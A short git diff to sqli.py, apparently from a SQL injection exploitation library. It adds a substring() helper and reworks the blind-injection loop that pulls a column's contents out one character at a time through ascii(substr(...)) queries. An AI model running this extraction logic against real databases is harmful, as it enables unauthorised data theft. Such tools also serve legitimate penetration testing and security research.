diff --git a/sqli.py b/sqli.py
index c9ee93f..e6029ea 100644
--- a/sqli.py
+++ b/sqli.py
@@ -35,6 +35,9 @@ class SQLi(ABC):
 
         return rows
 
+    def substring(self, what, offset: int, size: int):
+        return f"substr({what},{offset},{size})"
+
     @abstractmethod
     def ascii(self):
         pass
@@ -207,7 +210,7 @@ class BlindSQLi(SQLi, ABC):
         cur_str = ""
         while True:
             found = False
-            cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
+            cur_column = self.ascii() + "(" + self.substring(column, len(cur_str) + 1, 1) + ")"
             if charset:
                 query = self.build_query(cur_column, table, condition, offset)
                 for c in charset: